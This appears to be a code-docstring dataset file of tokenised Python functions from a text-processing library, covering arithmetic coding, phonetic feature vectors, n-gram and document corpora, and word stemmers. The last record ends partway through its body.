{"signature": "def train(self, text):", "body": "text = text_type(text)<EOL>if '<STR_LIT:\\x00>' in text:<EOL><INDENT>text = text.replace('<STR_LIT:\\x00>', '<STR_LIT:U+0020>')<EOL><DEDENT>counts = Counter(text)<EOL>counts['<STR_LIT:\\x00>'] = <NUM_LIT:1><EOL>tot_letters = sum(counts.values())<EOL>tot = <NUM_LIT:0><EOL>self._probs = {}<EOL>prev = Fraction(<NUM_LIT:0>)<EOL>for char, count in sorted(<EOL>counts.items(), key=lambda x: (x[<NUM_LIT:1>], x[<NUM_LIT:0>]), reverse=True<EOL>):<EOL><INDENT>follow = Fraction(tot + count, tot_letters)<EOL>self._probs[char] = (prev, follow)<EOL>prev = follow<EOL>tot = tot + count<EOL><DEDENT>", "docstring": "r\"\"\"Generate a probability dict from the provided text.\n\n        Text to 0-order probability statistics as a dict\n\n        Parameters\n        ----------\n        text : str\n            The text data over which to calculate probability statistics. This\n            must not contain the NUL (0x00) character because that is used to\n            indicate the end of data.\n\n        Example\n        -------\n        >>> ac = Arithmetic()\n        >>> ac.train('the quick brown fox jumped over the lazy dog')\n        >>> ac.get_probs()\n        {' ': (Fraction(0, 1), Fraction(8, 45)),\n         'o': (Fraction(8, 45), Fraction(4, 15)),\n         'e': (Fraction(4, 15), Fraction(16, 45)),\n         'u': (Fraction(16, 45), Fraction(2, 5)),\n         't': (Fraction(2, 5), Fraction(4, 9)),\n         'r': (Fraction(4, 9), Fraction(22, 45)),\n         'h': (Fraction(22, 45), Fraction(8, 15)),\n         'd': (Fraction(8, 15), Fraction(26, 45)),\n         'z': (Fraction(26, 45), Fraction(3, 5)),\n         'y': (Fraction(3, 5), Fraction(28, 45)),\n         'x': (Fraction(28, 45), Fraction(29, 45)),\n         'w': (Fraction(29, 45), Fraction(2, 3)),\n         'v': (Fraction(2, 3), Fraction(31, 45)),\n         'q': (Fraction(31, 45), Fraction(32, 45)),\n         'p': (Fraction(32, 45), Fraction(11, 15)),\n         'n': (Fraction(11, 15), Fraction(34, 45)),\n         'm': (Fraction(34, 45), Fraction(7, 9)),\n         'l': (Fraction(7, 9), Fraction(4, 5)),\n         'k': (Fraction(4, 5), Fraction(37, 45)),\n         'j': (Fraction(37, 45), Fraction(38, 45)),\n         'i': (Fraction(38, 45), Fraction(13, 15)),\n         'g': (Fraction(13, 15), Fraction(8, 9)),\n         'f': (Fraction(8, 9), Fraction(41, 45)),\n         'c': (Fraction(41, 45), Fraction(14, 15)),\n         'b': (Fraction(14, 15), Fraction(43, 45)),\n         'a': (Fraction(43, 45), Fraction(44, 45)),\n         '\\x00': (Fraction(44, 45), Fraction(1, 1))}", "id": "f6544:c0:m3"}
{"signature": "def encode(self, text):", "body": "text = text_type(text)<EOL>if '<STR_LIT:\\x00>' in text:<EOL><INDENT>text = text.replace('<STR_LIT:\\x00>', '<STR_LIT:U+0020>')<EOL><DEDENT>minval = Fraction(<NUM_LIT:0>)<EOL>maxval = Fraction(<NUM_LIT:1>)<EOL>for char in text + '<STR_LIT:\\x00>':<EOL><INDENT>prob_range = self._probs[char]<EOL>delta = maxval - minval<EOL>maxval = minval + prob_range[<NUM_LIT:1>] * delta<EOL>minval = minval + prob_range[<NUM_LIT:0>] * delta<EOL><DEDENT>delta = (maxval - minval) / <NUM_LIT:2><EOL>nbits = long(<NUM_LIT:0>)<EOL>while delta < <NUM_LIT:1>:<EOL><INDENT>nbits += <NUM_LIT:1><EOL>delta *= <NUM_LIT:2><EOL><DEDENT>if nbits == <NUM_LIT:0>:  <EOL><INDENT>return <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT>avg = (maxval + minval) * <NUM_LIT:2> ** (nbits - <NUM_LIT:1>)<EOL>return avg.numerator // avg.denominator, nbits<EOL>", "docstring": "Encode a text using arithmetic coding.\n\n        Text and the 0-order probability statistics -> longval, nbits\n\n        The encoded number is Fraction(longval, 2**nbits)\n\n        Parameters\n        ----------\n        text : str\n            A string to encode\n\n        Returns\n        -------\n        tuple\n            The arithmetically coded text\n\n        Example\n        -------\n        >>> ac = Arithmetic('the quick brown fox jumped over the lazy dog')\n        >>> ac.encode('align')\n        (16720586181, 34)", "id": "f6544:c0:m4"}
{"signature": "def decode(self, longval, nbits):", "body": "val = Fraction(longval, long(<NUM_LIT:1>) << nbits)<EOL>letters = []<EOL>probs_items = [<EOL>(char, minval, maxval)<EOL>for (char, (minval, maxval)) in self._probs.items()<EOL>]<EOL>char = '<STR_LIT:\\x00>'<EOL>while True:<EOL><INDENT>for (char, minval, maxval) in probs_items:  <EOL><INDENT>if minval <= val < maxval:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if char == '<STR_LIT:\\x00>':<EOL><INDENT>break<EOL><DEDENT>letters.append(char)<EOL>delta = maxval - minval<EOL>val = (val - minval) / delta<EOL><DEDENT>return '<STR_LIT>'.join(letters)<EOL>", "docstring": "Decode the number to a string using the given statistics.\n\n        Parameters\n        ----------\n        longval : int\n            The first part of an encoded tuple from encode\n        nbits : int\n            The second part of an encoded tuple from encode\n\n        Returns\n        -------\n        str\n            The arithmetically decoded text\n\n        Example\n        -------\n        >>> ac = Arithmetic('the quick brown fox jumped over the lazy dog')\n        >>> ac.decode(16720586181, 34)\n        'align'", "id": "f6544:c0:m5"}
{"signature": "def ipa_to_features(ipa):", "body": "features = []<EOL>pos = <NUM_LIT:0><EOL>ipa = normalize('<STR_LIT>', text_type(ipa.lower()))<EOL>maxsymlen = max(len(_) for _ in _PHONETIC_FEATURES)<EOL>while pos < len(ipa):<EOL><INDENT>found_match = False<EOL>for i in range(maxsymlen, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if (<EOL>pos + i - <NUM_LIT:1> <= len(ipa)<EOL>and ipa[pos : pos + i] in _PHONETIC_FEATURES<EOL>):<EOL><INDENT>features.append(_PHONETIC_FEATURES[ipa[pos : pos + i]])<EOL>pos += i<EOL>found_match = True<EOL><DEDENT><DEDENT>if not found_match:<EOL><INDENT>features.append(-<NUM_LIT:1>)<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>return features<EOL>", "docstring": "Convert IPA to features.\n\n    This translates an IPA string of one or more phones to a list of ints\n    representing the features of the string.\n\n    Parameters\n    ----------\n    ipa : str\n        The IPA representation of a phone or series of phones\n\n    Returns\n    -------\n    list of ints\n        A representation of the features of the input string\n\n    Examples\n    --------\n    >>> ipa_to_features('mut')\n    [2709662981243185770, 1825831513894594986, 2783230754502126250]\n    >>> ipa_to_features('fon')\n    [2781702983095331242, 1825831531074464170, 2711173160463936106]\n    >>> ipa_to_features('telz')\n    [2783230754502126250, 1826957430176000426, 2693158761954453926,\n    2783230754501863834]", "id": "f6546:m0"}
{"signature": "def get_feature(vector, feature):", "body": "<EOL>if feature not in _FEATURE_MASK:<EOL><INDENT>raise AttributeError(<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\".join(<EOL>(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>)<EOL>)<EOL>+ \"<STR_LIT:'>\"<EOL>)<EOL><DEDENT>mask = _FEATURE_MASK[feature]<EOL>pos_mask = mask >> <NUM_LIT:1><EOL>retvec = []<EOL>for char in vector:<EOL><INDENT>if char < <NUM_LIT:0>:<EOL><INDENT>retvec.append(float('<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>masked = char & mask<EOL>if masked == <NUM_LIT:0>:<EOL><INDENT>retvec.append(<NUM_LIT:0>)  <EOL><DEDENT>elif masked == mask:<EOL><INDENT>retvec.append(<NUM_LIT:2>)  <EOL><DEDENT>elif masked & pos_mask:<EOL><INDENT>retvec.append(<NUM_LIT:1>)  <EOL><DEDENT>else:<EOL><INDENT>retvec.append(-<NUM_LIT:1>)  <EOL><DEDENT><DEDENT><DEDENT>return retvec<EOL>", "docstring": "Get a feature vector.\n\n    This returns a list of ints, equal in length to the vector input,\n        representing presence/absence/neutrality with respect to a particular\n        phonetic feature.\n\n    Parameters\n    ----------\n    vector : list\n        A tuple or list of ints representing the phonetic features of a phone\n        or series of phones (such as is returned by the ipa_to_features\n        function)\n    feature : str\n        A feature name from the set:\n\n            - ``consonantal``\n            - ``sonorant``\n            - ``syllabic``\n            - ``labial``\n            - ``round``\n            - ``coronal``\n            - ``anterior``\n            - ``distributed``\n            - ``dorsal``\n            - ``high``\n            - ``low``\n            - ``back``\n            - ``tense``\n            - ``pharyngeal``\n            - ``ATR``\n            - ``voice``\n            - ``spread_glottis``\n            - ``constricted_glottis``\n            - ``continuant``\n            - ``strident``\n            - ``lateral``\n            - ``delayed_release``\n            - ``nasal``\n\n    Returns\n    -------\n    list of ints\n        A list indicating presence/absence/neutrality with respect to the\n        feature\n\n    Raises\n    ------\n    AttributeError\n        feature must be one of ...\n\n    Examples\n    --------\n    >>> tails = ipa_to_features('telz')\n    >>> get_feature(tails, 'consonantal')\n    [1, -1, 1, 1]\n    >>> get_feature(tails, 'sonorant')\n    [-1, 1, 1, -1]\n    >>> get_feature(tails, 'nasal')\n    [-1, -1, -1, -1]\n    >>> get_feature(tails, 'coronal')\n    [1, -1, 1, 1]", "id": "f6546:m1"}
{"signature": "def cmp_features(feat1, feat2):", "body": "if feat1 < <NUM_LIT:0> or feat2 < <NUM_LIT:0>:<EOL><INDENT>return -<NUM_LIT:1.0><EOL><DEDENT>if feat1 == feat2:<EOL><INDENT>return <NUM_LIT:1.0><EOL><DEDENT>magnitude = len(_FEATURE_MASK)<EOL>featxor = feat1 ^ feat2<EOL>diffbits = <NUM_LIT:0><EOL>while featxor:<EOL><INDENT>if featxor & <NUM_LIT>:<EOL><INDENT>diffbits += <NUM_LIT:1><EOL><DEDENT>featxor >>= <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:1> - (diffbits / (<NUM_LIT:2> * magnitude))<EOL>", "docstring": "Compare features.\n\n    This returns a number in the range [0, 1] representing a comparison of two\n    feature bundles.\n\n    If one of the bundles is negative, -1 is returned (for unknown values)\n\n    If the bundles are identical, 1 is returned.\n\n    If they are inverses of one another, 0 is returned.\n\n    Otherwise, a float representing their similarity is returned.\n\n    Parameters\n    ----------\n    feat1 : int\n        A feature bundle\n    feat2 : int\n        A feature bundle\n\n    Returns\n    -------\n    float\n        A comparison of the feature bundles\n\n    Examples\n    --------\n    >>> cmp_features(ipa_to_features('l')[0], ipa_to_features('l')[0])\n    1.0\n    >>> cmp_features(ipa_to_features('l')[0], ipa_to_features('n')[0])\n    0.8709677419354839\n    >>> cmp_features(ipa_to_features('l')[0], ipa_to_features('z')[0])\n    0.8709677419354839\n    >>> cmp_features(ipa_to_features('l')[0], ipa_to_features('i')[0])\n    0.564516129032258", "id": "f6546:m2"}
{"signature": "def __init__(self, corpus=None):", "body": "self.ngcorpus = Counter()<EOL>if corpus is None:<EOL><INDENT>return<EOL><DEDENT>elif isinstance(corpus, Corpus):<EOL><INDENT>self.corpus_importer(corpus)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>+ str(type(corpus))<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>", "docstring": "r\"\"\"Initialize Corpus.\n\n        Parameters\n        ----------\n        corpus : Corpus\n            The :py:class:`Corpus` from which to initialize the n-gram corpus.\n            By default, this is None, which initializes an empty NGramCorpus.\n            This can then be populated using NGramCorpus methods.\n\n        Raises\n        ------\n        TypeError\n            Corpus argument must be None or of type abydos.Corpus\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> ngcorp = NGramCorpus(Corpus(tqbf))", "id": "f6547:c0:m0"}
{"signature": "def corpus_importer(self, corpus, n_val=<NUM_LIT:1>, bos='<STR_LIT>', eos='<STR_LIT>'):", "body": "if not corpus or not isinstance(corpus, Corpus):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>sentences = corpus.sents()<EOL>for sent in sentences:<EOL><INDENT>ngs = Counter(sent)<EOL>for key in ngs.keys():<EOL><INDENT>self._add_to_ngcorpus(self.ngcorpus, [key], ngs[key])<EOL><DEDENT>if n_val > <NUM_LIT:1>:<EOL><INDENT>if bos and bos != '<STR_LIT>':<EOL><INDENT>sent = [bos] + sent<EOL><DEDENT>if eos and eos != '<STR_LIT>':<EOL><INDENT>sent += [eos]<EOL><DEDENT>for i in range(<NUM_LIT:2>, n_val + <NUM_LIT:1>):<EOL><INDENT>for j in range(len(sent) - i + <NUM_LIT:1>):<EOL><INDENT>self._add_to_ngcorpus(<EOL>self.ngcorpus, sent[j : j + i], <NUM_LIT:1><EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "r\"\"\"Fill in self.ngcorpus from a Corpus argument.\n\n        Parameters\n        ----------\n        corpus :Corpus\n            The Corpus from which to initialize the n-gram corpus\n        n_val : int\n            Maximum n value for n-grams\n        bos : str\n            String to insert as an indicator of beginning of sentence\n        eos : str\n            String to insert as an indicator of end of sentence\n\n        Raises\n        ------\n        TypeError\n            Corpus argument of the Corpus class required.\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> ngcorp = NGramCorpus()\n        >>> ngcorp.corpus_importer(Corpus(tqbf))", "id": "f6547:c0:m1"}
{"signature": "def get_count(self, ngram, corpus=None):", "body": "if not corpus:<EOL><INDENT>corpus = self.ngcorpus<EOL><DEDENT>if not ngram:<EOL><INDENT>return corpus[None]<EOL><DEDENT>if isinstance(ngram, (text_type, str)):<EOL><INDENT>ngram = text_type(ngram).split()<EOL><DEDENT>if ngram[<NUM_LIT:0>] in corpus:<EOL><INDENT>return self.get_count(ngram[<NUM_LIT:1>:], corpus[ngram[<NUM_LIT:0>]])<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "r\"\"\"Get the count of an n-gram in the corpus.\n\n        Parameters\n        ----------\n        ngram : str\n            The n-gram to retrieve the count of from the n-gram corpus\n        corpus : Corpus\n            The corpus\n\n        Returns\n        -------\n        int\n            The n-gram count\n\n        Examples\n        --------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> ngcorp = NGramCorpus(Corpus(tqbf))\n        >>> NGramCorpus(Corpus(tqbf)).get_count('the')\n        2\n        >>> NGramCorpus(Corpus(tqbf)).get_count('fox')\n        1", "id": "f6547:c0:m2"}
{"signature": "def _add_to_ngcorpus(self, corpus, words, count):", "body": "if words[<NUM_LIT:0>] not in corpus:<EOL><INDENT>corpus[words[<NUM_LIT:0>]] = Counter()<EOL><DEDENT>if len(words) == <NUM_LIT:1>:<EOL><INDENT>corpus[words[<NUM_LIT:0>]][None] += count<EOL><DEDENT>else:<EOL><INDENT>self._add_to_ngcorpus(corpus[words[<NUM_LIT:0>]], words[<NUM_LIT:1>:], count)<EOL><DEDENT>", "docstring": "Build up a corpus entry recursively.\n\n        Parameters\n        ----------\n        corpus : Corpus\n            The corpus\n        words : [str]\n            Words to add to the corpus\n        count : int\n            Count of words", "id": "f6547:c0:m3"}
{"signature": "def gng_importer(self, corpus_file):", "body": "with c_open(corpus_file, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as gng:<EOL><INDENT>for line in gng:<EOL><INDENT>line = line.rstrip().split('<STR_LIT:\\t>')<EOL>words = line[<NUM_LIT:0>].split()<EOL>self._add_to_ngcorpus(self.ngcorpus, words, int(line[<NUM_LIT:2>]))<EOL><DEDENT><DEDENT>", "docstring": "Fill in self.ngcorpus from a Google NGram corpus file.\n\n        Parameters\n        ----------\n        corpus_file : file\n            The Google NGram file from which to initialize the n-gram corpus", "id": "f6547:c0:m4"}
{"signature": "def tf(self, term):", "body": "if '<STR_LIT:U+0020>' in term:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>tcount = self.get_count(term)<EOL>if tcount == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>return <NUM_LIT:1> + log10(tcount)<EOL>", "docstring": "r\"\"\"Return term frequency.\n\n        Parameters\n        ----------\n        term : str\n            The term for which to calculate tf\n\n        Returns\n        -------\n        float\n            The term frequency (tf)\n\n        Raises\n        ------\n        ValueError\n            tf can only calculate the frequency of individual words\n\n        Examples\n        --------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> ngcorp = NGramCorpus(Corpus(tqbf))\n        >>> NGramCorpus(Corpus(tqbf)).tf('the')\n        1.3010299956639813\n        >>> NGramCorpus(Corpus(tqbf)).tf('fox')\n        1.0", "id": "f6547:c0:m5"}
{"signature": "def __init__(<EOL>self,<EOL>corpus_text='<STR_LIT>',<EOL>doc_split='<STR_LIT>',<EOL>sent_split='<STR_LIT:\\n>',<EOL>filter_chars='<STR_LIT>',<EOL>stop_words=None,<EOL>):", "body": "self.corpus = []<EOL>self.doc_split = doc_split<EOL>self.sent_split = sent_split<EOL>for document in corpus_text.split(doc_split):<EOL><INDENT>doc = []<EOL>for sentence in (s.split() for s in document.split(sent_split)):<EOL><INDENT>if stop_words:<EOL><INDENT>for word in set(stop_words):<EOL><INDENT>while word in sentence:<EOL><INDENT>sentence.remove(word)<EOL><DEDENT><DEDENT><DEDENT>for char in set(filter_chars):<EOL><INDENT>sentence = [word.replace(char, '<STR_LIT>') for word in sentence]<EOL><DEDENT>if sentence:<EOL><INDENT>doc.append(sentence)<EOL><DEDENT><DEDENT>if doc:<EOL><INDENT>self.corpus.append(doc)<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"Initialize Corpus.\n\n        By default, when importing a corpus:\n            - two consecutive newlines divide documents\n            - single newlines divide sentences\n            - other whitespace divides words\n\n        Parameters\n        ----------\n        corpus_text : str\n            The corpus text as a single string\n        doc_split : str\n            A character or string used to split corpus_text into documents\n        sent_split : str\n            A character or string used to split documents into sentences\n        filter_chars : list\n            A list of characters (as a string, tuple, set, or list) to filter\n            out of the corpus text\n        stop_words : list\n            A list of words (as a tuple, set, or list) to filter out of the\n            corpus text\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)", "id": "f6549:c0:m0"}
{"signature": "def docs(self):", "body": "return self.corpus<EOL>", "docstring": "r\"\"\"Return the docs in the corpus.\n\n        Each list within a doc represents the sentences in that doc, each of\n        which is in turn a list of words within that sentence.\n\n        Returns\n        -------\n        [[[str]]]\n            The docs in the corpus as a list of lists of lists of strs\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> corp.docs()\n        [[['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.'], ['And', 'then', 'it', 'slept.'], ['And', 'the', 'dog',\n        'ran', 'off.']]]\n        >>> len(corp.docs())\n        1", "id": "f6549:c0:m1"}
{"signature": "def paras(self):", "body": "return self.docs()<EOL>", "docstring": "r\"\"\"Return the paragraphs in the corpus.\n\n        Each list within a paragraph represents the sentences in that doc, each\n        of which is in turn a list of words within that sentence.\n        This is identical to the docs() member function and exists only to\n        mirror part of NLTK's API for corpora.\n\n        Returns\n        -------\n        [[[str]]]\n            The paragraphs in the corpus as a list of lists of lists of strs\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> corp.paras()\n        [[['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.'], ['And', 'then', 'it', 'slept.'], ['And', 'the', 'dog',\n        'ran', 'off.']]]\n        >>> len(corp.paras())\n        1", "id": "f6549:c0:m2"}
{"signature": "def sents(self):", "body": "return [words for sents in self.corpus for words in sents]<EOL>", "docstring": "r\"\"\"Return the sentences in the corpus.\n\n        Each list within a sentence represents the words within that sentence.\n\n        Returns\n        -------\n        [[str]]\n            The sentences in the corpus as a list of lists of strs\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> corp.sents()\n        [['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.'], ['And', 'then', 'it', 'slept.'], ['And', 'the', 'dog',\n        'ran', 'off.']]\n        >>> len(corp.sents())\n        3", "id": "f6549:c0:m3"}
{"signature": "def words(self):", "body": "return [words for sents in self.sents() for words in sents]<EOL>", "docstring": "r\"\"\"Return the words in the corpus as a single list.\n\n        Returns\n        -------\n        [str]\n            The words in the corpus as a list of strs\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> corp.words()\n        ['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.', 'And', 'then', 'it', 'slept.', 'And', 'the', 'dog', 'ran',\n        'off.']\n        >>> len(corp.words())\n        18", "id": "f6549:c0:m4"}
{"signature": "def docs_of_words(self):", "body": "return [<EOL>[words for sents in doc for words in sents] for doc in self.corpus<EOL>]<EOL>", "docstring": "r\"\"\"Return the docs in the corpus, with sentences flattened.\n\n        Each list within the corpus represents all the words of that document.\n        Thus the sentence level of lists has been flattened.\n\n        Returns\n        -------\n        [[str]]\n            The docs in the corpus as a list of list of strs\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> corp.docs_of_words()\n        [['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.', 'And', 'then', 'it', 'slept.', 'And', 'the', 'dog', 'ran',\n        'off.']]\n        >>> len(corp.docs_of_words())\n        1", "id": "f6549:c0:m5"}
{"signature": "def raw(self):", "body": "doc_list = []<EOL>for doc in self.corpus:<EOL><INDENT>sent_list = []<EOL>for sent in doc:<EOL><INDENT>sent_list.append('<STR_LIT:U+0020>'.join(sent))<EOL><DEDENT>doc_list.append(self.sent_split.join(sent_list))<EOL>del sent_list<EOL><DEDENT>return self.doc_split.join(doc_list)<EOL>", "docstring": "r\"\"\"Return the raw corpus.\n\n        This is reconstructed by joining sub-components with the corpus' split\n        characters\n\n        Returns\n        -------\n        str\n            The raw corpus\n\n        Example\n        -------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n'\n        >>> tqbf += 'And then it slept.\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> print(corp.raw())\n        The quick brown fox jumped over the lazy dog.\n        And then it slept.\n        And the dog ran off.\n        >>> len(corp.raw())\n        85", "id": "f6549:c0:m6"}
{"signature": "def idf(self, term, transform=None):", "body": "docs_with_term = <NUM_LIT:0><EOL>docs = self.docs_of_words()<EOL>for doc in docs:<EOL><INDENT>doc_set = set(doc)<EOL>if transform:<EOL><INDENT>transformed_doc = []<EOL>for word in doc_set:<EOL><INDENT>transformed_doc.append(transform(word))<EOL><DEDENT>doc_set = set(transformed_doc)<EOL><DEDENT>if term in doc_set:<EOL><INDENT>docs_with_term += <NUM_LIT:1><EOL><DEDENT><DEDENT>if docs_with_term == <NUM_LIT:0>:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>return log10(len(docs) / docs_with_term)<EOL>", "docstring": "r\"\"\"Calculate the Inverse Document Frequency of a term in the corpus.\n\n        Parameters\n        ----------\n        term : str\n            The term to calculate the IDF of\n        transform : function\n            A function to apply to each document term before checking for the\n            presence of term\n\n        Returns\n        -------\n        float\n            The IDF\n\n        Examples\n        --------\n        >>> tqbf = 'The quick brown fox jumped over the lazy dog.\\n\\n'\n        >>> tqbf += 'And then it slept.\\n\\n And the dog ran off.'\n        >>> corp = Corpus(tqbf)\n        >>> print(corp.docs())\n        [[['The', 'quick', 'brown', 'fox', 'jumped', 'over', 'the', 'lazy',\n        'dog.']],\n        [['And', 'then', 'it', 'slept.']],\n        [['And', 'the', 'dog', 'ran', 'off.']]]\n        >>> round(corp.idf('dog'), 10)\n        0.4771212547\n        >>> round(corp.idf('the'), 10)\n        0.1760912591", "id": "f6549:c0:m7"}
{"signature": "def s_stemmer(word):", "body": "return SStemmer().stem(word)<EOL>", "docstring": "Return the S-stemmed form of a word.\n\n    This is a wrapper for :py:meth:`SStemmer.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> s_stemmer('summaries')\n    'summary'\n    >>> s_stemmer('summary')\n    'summary'\n    >>> s_stemmer('towers')\n    'tower'\n    >>> s_stemmer('reading')\n    'reading'\n    >>> s_stemmer('census')\n    'census'", "id": "f6550:m0"}
{"signature": "def stem(self, word):", "body": "lowered = word.lower()<EOL>if lowered[-<NUM_LIT:3>:] == '<STR_LIT>' and lowered[-<NUM_LIT:4>:-<NUM_LIT:3>] not in {'<STR_LIT:e>', '<STR_LIT:a>'}:<EOL><INDENT>return word[:-<NUM_LIT:3>] + ('<STR_LIT:Y>' if word[-<NUM_LIT:1>:].isupper() else '<STR_LIT:y>')<EOL><DEDENT>if lowered[-<NUM_LIT:2>:] == '<STR_LIT>' and lowered[-<NUM_LIT:3>:-<NUM_LIT:2>] not in {'<STR_LIT:a>', '<STR_LIT:e>', '<STR_LIT:o>'}:<EOL><INDENT>return word[:-<NUM_LIT:1>]<EOL><DEDENT>if lowered[-<NUM_LIT:1>:] == '<STR_LIT:s>' and lowered[-<NUM_LIT:2>:-<NUM_LIT:1>] not in {'<STR_LIT:u>', '<STR_LIT:s>'}:<EOL><INDENT>return word[:-<NUM_LIT:1>]<EOL><DEDENT>return word<EOL>", "docstring": "Return the S-stemmed form of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SStemmer()\n        >>> stmr.stem('summaries')\n        'summary'\n        >>> stmr.stem('summary')\n        'summary'\n        >>> stmr.stem('towers')\n        'tower'\n        >>> stmr.stem('reading')\n        'reading'\n        >>> stmr.stem('census')\n        'census'", "id": "f6550:c0:m0"}
{"signature": "def uealite(<EOL>word,<EOL>max_word_length=<NUM_LIT:20>,<EOL>max_acro_length=<NUM_LIT:8>,<EOL>return_rule_no=False,<EOL>var='<STR_LIT>',<EOL>):", "body": "return UEALite().stem(<EOL>word, max_word_length, max_acro_length, return_rule_no, var<EOL>)<EOL>", "docstring": "Return UEA-Lite stem.\n\n    This is a wrapper for :py:meth:`UEALite.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n    max_word_length : int\n        The maximum word length allowed\n    max_acro_length : int\n        The maximum acronym length allowed\n    return_rule_no : bool\n        If True, returns the stem along with rule number\n    var : str\n        Variant rules to use:\n\n            - ``Adams`` to use Jason Adams' rules\n            - ``Perl`` to use the original Perl rules\n\n    Returns\n    -------\n    str or (str, int)\n        Word stem\n\n    Examples\n    --------\n    >>> uealite('readings')\n    'read'\n    >>> uealite('insulted')\n    'insult'\n    >>> uealite('cussed')\n    'cuss'\n    >>> uealite('fancies')\n    'fancy'\n    >>> uealite('eroded')\n    'erode'", "id": "f6551:m0"}
{"signature": "def stem(<EOL>self,<EOL>word,<EOL>max_word_length=<NUM_LIT:20>,<EOL>max_acro_length=<NUM_LIT:8>,<EOL>return_rule_no=False,<EOL>var='<STR_LIT>',<EOL>):", "body": "def _stem_with_duplicate_character_check(word, del_len):<EOL><INDENT>if word[-<NUM_LIT:1>] == '<STR_LIT:s>':<EOL><INDENT>del_len += <NUM_LIT:1><EOL><DEDENT>stemmed_word = word[:-del_len]<EOL>if re_match(r'<STR_LIT>', stemmed_word):<EOL><INDENT>stemmed_word = stemmed_word[:-<NUM_LIT:1>]<EOL><DEDENT>return stemmed_word<EOL><DEDENT>def _stem(word):<EOL><INDENT>stemmed_word = word<EOL>rule_no = <NUM_LIT:0><EOL>if not word:<EOL><INDENT>return word, <NUM_LIT:0><EOL><DEDENT>if word in self._problem_words or (<EOL>word == '<STR_LIT>' and var == '<STR_LIT>'<EOL>):<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>if max_word_length and len(word) > max_word_length:<EOL><INDENT>return word, <NUM_LIT><EOL><DEDENT>if \"<STR_LIT:'>\" in word:<EOL><INDENT>if word[-<NUM_LIT:2>:] in {\"<STR_LIT>\", \"<STR_LIT>\"}:<EOL><INDENT>stemmed_word = word[:-<NUM_LIT:2>]<EOL><DEDENT>if word[-<NUM_LIT:1>:] == \"<STR_LIT:'>\":<EOL><INDENT>stemmed_word = 